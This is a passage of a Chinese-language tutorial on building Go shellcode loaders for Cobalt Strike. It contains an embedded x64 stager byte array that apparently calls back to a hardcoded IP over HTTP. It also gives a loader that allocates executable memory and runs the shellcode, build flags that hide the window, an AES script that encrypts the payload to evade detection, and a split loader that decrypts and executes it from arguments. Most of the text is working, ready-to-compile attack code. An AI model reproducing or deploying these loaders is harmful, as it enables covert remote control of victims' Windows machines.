0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0, 0x75, 0xf1, 0x4c, 0x03, 0x4c, 0x24, 0x08, 0x45, 0x39, 0xd1, 0x75, 0xd8, 0x58, 0x44, 0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0, 0x66, 0x41, 0x8b, 0x0c, 0x48, 0x44, 0x8b, 0x40, 0x1c, 0x49, 0x01, 0xd0, 0x41, 0x8b, 0x04, 0x88, 0x48, 0x01, 0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a, 0x41, 0x58, 0x41, 0x59, 0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0, 0x58, 0x41, 0x59, 0x5a, 0x48, 0x8b, 0x12, 0xe9, 0x4f, 0xff, 0xff, 0xff, 0x5d, 0x6a, 0x00, 0x49, 0xbe, 0x77, 0x69, 0x6e, 0x69, 0x6e, 0x65, 0x74, 0x00, 0x41, 0x56, 0x49, 0x89, 0xe6, 0x4c, 0x89, 0xf1, 0x41, 0xba, 0x4c, 0x77, 0x26, 0x07, 0xff, 0xd5, 0x48, 0x31, 0xc9, 0x48, 0x31, 0xd2, 0x4d, 0x31, 0xc0, 0x4d, 0x31, 0xc9, 0x41, 0x50, 0x41, 0x50, 0x41, 0xba, 0x3a, 0x56, 0x79, 0xa7, 0xff, 0xd5, 0xeb, 0x73, 0x5a, 0x48, 0x89, 0xc1, 0x41, 0xb8, 0xb8, 0x22, 0x00, 0x00, 0x4d, 0x31, 0xc9, 0x41, 0x51, 0x41, 0x51, 0x6a, 0x03, 0x41, 0x51, 0x41, 0xba, 0x57, 0x89, 0x9f, 0xc6, 0xff, 0xd5, 0xeb, 0x59, 0x5b, 0x48, 0x89, 0xc1, 0x48, 0x31, 0xd2, 0x49, 0x89, 0xd8, 0x4d, 0x31, 0xc9, 0x52, 0x68, 0x00, 0x02, 0x40, 0x84, 0x52, 0x52, 0x41, 0xba, 0xeb, 0x55, 0x2e, 0x3b, 0xff, 0xd5, 0x48, 0x89, 0xc6, 0x48, 0x83, 0xc3, 0x50, 0x6a, 0x0a, 0x5f, 0x48, 0x89, 0xf1, 0x48, 0x89, 0xda, 0x49, 0xc7, 0xc0, 0xff, 0xff, 0xff, 0xff, 0x4d, 0x31, 0xc9, 0x52, 0x52, 0x41, 0xba, 0x2d, 0x06, 0x18, 0x7b, 0xff, 0xd5, 0x85, 0xc0, 0x0f, 0x85, 0x9d, 0x01, 0x00, 0x00, 0x48, 0xff, 0xcf, 0x0f, 0x84, 0x8c, 0x01, 0x00, 0x00, 0xeb, 0xd3, 0xe9, 0xe4, 0x01, 0x00, 0x00, 0xe8, 0xa2, 0xff, 0xff, 0xff, 0x2f, 0x64, 0x51, 0x70, 0x38, 0x00, 0x55, 0x1d, 0xe1, 0x41, 0xaf, 0xe8, 0x9e, 0xd4, 0x95, 0x56, 0xd5, 0x42, 0x8f, 0xba, 0x24, 0x52, 0x63, 0xb5, 0x52, 0x13, 0xf9, 0x8e, 0x7f, 0xda, 0x74, 0x21, 0xbc, 0xa9, 0xc0, 0x13, 0xcf, 0x89, 0x39, 0x8a, 0x05, 0x0d, 0x4d, 0x08, 0x21, 0xf8, 0xb9, 0xae, 0xb2, 0x4b, 0xbf, 0xa0, 0x0d, 0x75, 0x2c, 0x69, 0xd4, 0x71, 0x12, 0x06, 0x41, 0x26, 0xac, 0xf8, 0x19, 0xa2, 0xf1, 0xf2, 0x3d, 0x60, 0x0c, 0xa1, 0x6f, 0x16, 0x78, 0x27, 0xe1, 0x5f, 0x88, 0x00, 0x55, 0x73, 0x65, 0x72, 0x2d, 0x41, 0x67, 0x65, 0x6e, 0x74, 0x3a, 0x20, 0x4d, 0x6f, 0x7a, 0x69, 0x6c, 0x6c, 0x61, 0x2f, 0x35, 0x2e, 0x30, 0x20, 0x28, 0x63, 0x6f, 0x6d, 0x70, 0x61, 0x74, 0x69, 0x62, 0x6c, 0x65, 0x3b, 0x20, 0x4d, 0x53, 0x49, 0x45, 0x20, 0x39, 0x2e, 0x30, 0x3b, 0x20, 0x57, 0x69, 0x6e, 0x64, 0x6f, 0x77, 0x73, 0x20, 0x4e, 0x54, 0x20, 0x36, 0x2e, 0x31, 0x3b, 0x20, 0x54, 0x72, 0x69, 0x64, 0x65, 0x6e, 0x74, 0x2f, 0x35, 0x2e, 0x30, 0x29, 0x0d, 0x0a, 0x00, 0x4a, 0x74, 0xac, 0x77, 0xbf, 0xbd, 0x1b, 0xa8, 0xef, 0x7f, 0x85, 0xed, 0xb3, 0x0c, 0x30, 0xd3, 0x5f, 0x14, 0xfc, 0xc7, 0x52, 0x4a, 0x32, 0x0b, 0xca, 0x0a, 0x94, 0x75, 0xc0, 0x4a, 0x16, 0x77, 0x3c, 0x0f, 0x59, 0x29, 0x9b, 0x9a, 0x6b, 0x9c, 0x4a, 0xfc, 0x4a, 0x8f, 0xde, 0xf6, 0x6b, 0x4c, 0xd5, 0xa4, 0xab, 0xa5, 0xc4, 0x47, 0xb6, 0x4c, 0x4a, 0x3e, 0x98, 0x70, 0xc3, 0x23, 0x3b, 0xd8, 0x46, 0x4d, 0x62, 0x10, 0x47, 0xc4, 0xf9, 0x7c, 0x45, 0xd0, 0x5b, 0xc2, 0x63, 0xfc, 0xf9, 0x40, 0x7e, 0x67, 0xa5, 0x65, 0x8d, 0x58, 0x71, 0xe4, 0xdc, 0xab, 0x10, 0x94, 0xa1, 0xf7, 0x56, 0x40, 0x51, 0x27, 0x1e, 0x7e, 0xc7, 0x67, 0x44, 0x08, 0x84, 0x5f, 0xd6, 0xdf, 0x9b, 0x34, 0x4f, 0x88, 0x46, 0xcd, 0x01, 0xf3, 0x36, 0xe3, 0xb2, 0x74, 0x36, 0x73, 0x0d, 0x88, 0x44, 0x41, 0x6e, 0x06, 0x64, 0x78, 0xe2, 0xaa, 0x3e, 0xac, 0x43, 0x45, 0xe8, 0x17, 0x91, 0x6d, 0xd8, 0xe4, 0x2e, 0x4e, 0x8a, 0x4a, 0x41, 0x3d, 0x56, 0xf2, 0xfa, 0x52, 0x8e, 0x2f, 0xa3, 0x1f, 0x29, 0x48, 0x16, 0x10, 0xbe, 0x82, 0x7c, 0xdd, 0x55, 0xbf, 0xe2, 0xd6, 0x6b, 0x2c, 0x49, 0x3c, 0x5c, 0xe2, 0x71, 0x72, 0x5f, 0x06, 0x06, 0xb0, 0xe9, 0x5d, 0x91, 0x36, 0xe5, 0x06, 0x5d, 0xa2, 0x10, 0x57, 0x55, 0x02, 0x4e, 0xa9, 0x26, 0x8d, 0x15, 0x05, 0xc3, 0x5c, 0x5e, 0xdc, 0x6e, 0xc2, 0x31, 0x57, 0x25, 0xdb, 0xc5, 0x83, 0x67, 0xc3, 0xa3, 0xd5, 0x02, 0x28, 0x54, 0xfe, 0xe5, 0x09, 0x9a, 0xf9, 0x8c, 0x71, 0xb3, 0x00, 0x41, 0xbe, 0xf0, 0xb5, 0xa2, 0x56, 0xff, 0xd5, 0x48, 0x31, 0xc9, 0xba, 0x00, 0x00, 0x40, 0x00, 0x41, 0xb8, 0x00, 0x10, 0x00, 0x00, 0x41, 0xb9, 0x40, 0x00, 0x00, 0x00, 0x41, 0xba, 0x58, 0xa4, 0x53, 0xe5, 0xff, 0xd5, 0x48, 0x93, 0x53, 0x53, 0x48, 0x89, 0xe7, 0x48, 0x89, 0xf1, 0x48, 0x89, 0xda, 0x41, 0xb8, 0x00, 0x20, 0x00, 0x00, 0x49, 0x89, 0xf9, 0x41, 0xba, 0x12, 0x96, 0x89, 0xe2, 0xff, 0xd5, 0x48, 0x83, 0xc4, 0x20, 0x85, 0xc0, 0x74, 0xb6, 0x66, 0x8b, 0x07, 0x48, 0x01, 0xc3, 0x85, 0xc0, 0x75, 0xd7, 0x58, 0x58, 0x58, 0x48, 0x05, 0x00, 0x00, 0x00, 0x00, 0x50, 0xc3, 0xe8, 0x9f, 0xfd, 0xff, 0xff, 0x34, 0x37, 0x2e, 0x39, 0x34, 0x2e, 0x32, 0x33, 0x36, 0x2e, 0x31, 0x31, 0x37, 0x00, 0x00, 0x01, 0x86, 0xa0,
}
)

func checkErr(err error) {
if err != nil {
if err.Error() != "The operation completed successfully." {
println(err.Error())
os.Exit(1)
}
}
}

func main() {
shellcode := shellcode_buf
if len(os.Args) > 1 {
shellcodeFileData, err := ioutil.ReadFile(os.Args[1])
checkErr(err)
shellcode = shellcodeFileData
}

addr, _, err := VirtualAlloc.Call(0, uintptr(len(shellcode)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)
if addr == 0 {
checkErr(err)
}
_, _, err = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))
checkErr(err)
syscall.Syscall(addr, 0, 0, 0, 0)
}

将cs生成的shellcode放到记事本中将\替换为0
图片

然后替换后的代码放置shellcode_buf数组中

使用

1
2
3
4
5
6
-运行1.go脚本
go run 1.go
-编译1.go脚本
go build 1.go
-没有弹窗的exe命令编译:
go build -ldflags="-H windowsgui -w -s" 1.go

编译成exe进行上线

分离式加载器

加载器分里其实就是将shellcode危险代码放在参数中去执行

首先cs先生成x64位的payload.c

然后使用脚本3.go

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
package main

import (
"bytes"
"crypto/aes"
"crypto/cipher"
"encoding/base64"
"encoding/hex"
"fmt"
"math/rand"
"os"
"strings"
"time"
)

//随机生成key,后面用来解密的
func key(l int) string {
str := "0123456789abcdefghijklmnopqrstuvwxyz"
bytes := []byte(str)
result := []byte{}
r := rand.New(rand.NewSource(time.Now().UnixNano()))
for i := 0; i < l; i++ {
result = append(result, bytes[r.Intn(len(bytes))])
}
return string(result)
}

//使用PKCS5进行填充用来
func PKCS5Padding(ciphertext []byte, blockSize int) []byte {
padding := blockSize - len(ciphertext)%blockSize
padtext := bytes.Repeat([]byte{byte(padding)}, padding)
return append(ciphertext, padtext...)
}

//进行aes加密
func AesEncrypt(origData, key []byte) ([]byte, error) {
block, err := aes.NewCipher(key)
if err != nil {
return nil, err
}

blockSize := block.BlockSize()
origData = PKCS5Padding(origData, blockSize)
blockMode := cipher.NewCBCEncrypter(block, key[:blockSize])
crypted := make([]byte, len(origData))
blockMode.CryptBlocks(crypted, origData)
return crypted, nil
}

//主函数入口,对字符进行了处理
func main() {
argsWithProg := os.Args
if len(argsWithProg) < 2 {
fmt.Println("usage : ", argsWithProg[0], " paylaod.c")
return
}
confFile := os.Args[1]
str2 := strings.Replace(confFile, "\\x", "", -1)
data, _ := hex.DecodeString(str2)
key1 := key(16)
fmt.Println("Key:", key1)
var key []byte = []byte(key1)
aes, _ := AesEncrypt(data, key)
encoded := base64.StdEncoding.EncodeToString(aes)
fmt.Println("Code:", encoded)
}

这个脚本会将shellcode进行aes编码,然后会生成一个key和加密后的代码
在Visual Studio Code中打开

运行代码,将生成的payload.c放置参数中

go run 3.go payload.c

运行后会生成key和加密后的code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
package main

import (
"crypto/aes"
"crypto/cipher"
"encoding/base64"
"os"
"syscall"
"unsafe"
)

//这一块是定义一些东西去加载我们的shellcode
var procVirtualProtect = syscall.NewLazyDLL("kernel32.dll").NewProc("VirtualProtect")

func VirtualProtect(lpAddress unsafe.Pointer, dwSize uintptr, flNewProtect uint32, lpflOldProtect unsafe.Pointer) bool {
ret, _, _ := procVirtualProtect.Call(
uintptr(lpAddress),
uintptr(dwSize),
uintptr(flNewProtect),
uintptr(lpflOldProtect))
return ret > 0
}

//shellcode执行函数
func Run(sc []byte) {
f := func() {}
var oldfperms uint32
if !VirtualProtect(unsafe.Pointer(*(**uintptr)(unsafe.Pointer(&f))), unsafe.Sizeof(uintptr(0)), uint32(0x40), unsafe.Pointer(&oldfperms)) {
panic("Call to VirtualProtect failed!")
}
**(**uintptr)(unsafe.Pointer(&f)) = *(*uintptr)(unsafe.Pointer(&sc))
var oldshellcodeperms uint32
if !VirtualProtect(unsafe.Pointer(*(*uintptr)(unsafe.Pointer(&sc))), uintptr(len(sc)), uint32(0x40), unsafe.Pointer(&oldshellcodeperms)) {
panic("Call to VirtualProtect failed!")
}
f()
}

//同样为了保证我们的shellcode正常运行要进行PKCS5的操作
func PKCS5UnPadding(origData []byte) []byte {
length := len(origData)
unpadding := int(origData[length-1])
return origData[:(length - unpadding)]
}

//经典的aes解密操作
func AesDecrypt(crypted, key []byte) ([]byte, error) {
block, err := aes.NewCipher(key)
if err != nil {
return nil, err
}

blockSize := block.BlockSize()
blockMode := cipher.NewCBCDecrypter(block, key[:blockSize])
origData := make([]byte, len(crypted))
blockMode.CryptBlocks(origData, crypted)
origData = PKCS5UnPadding(origData)
return origData, nil
}

//运行主函数,主要是接受参数进行base64解码,ase解码,运行shellcode
func main() {
key1 := os.Args[1]
payload1 := os.Args[2]
encoded2, _ := base64.StdEncoding.DecodeString(payload1)
var key []byte = []byte(key1)
AES, _ := AesDecrypt(encoded2, key)
Run(AES)
}

将key和加密后的code分别放在参数中运行
图片

运行即可上线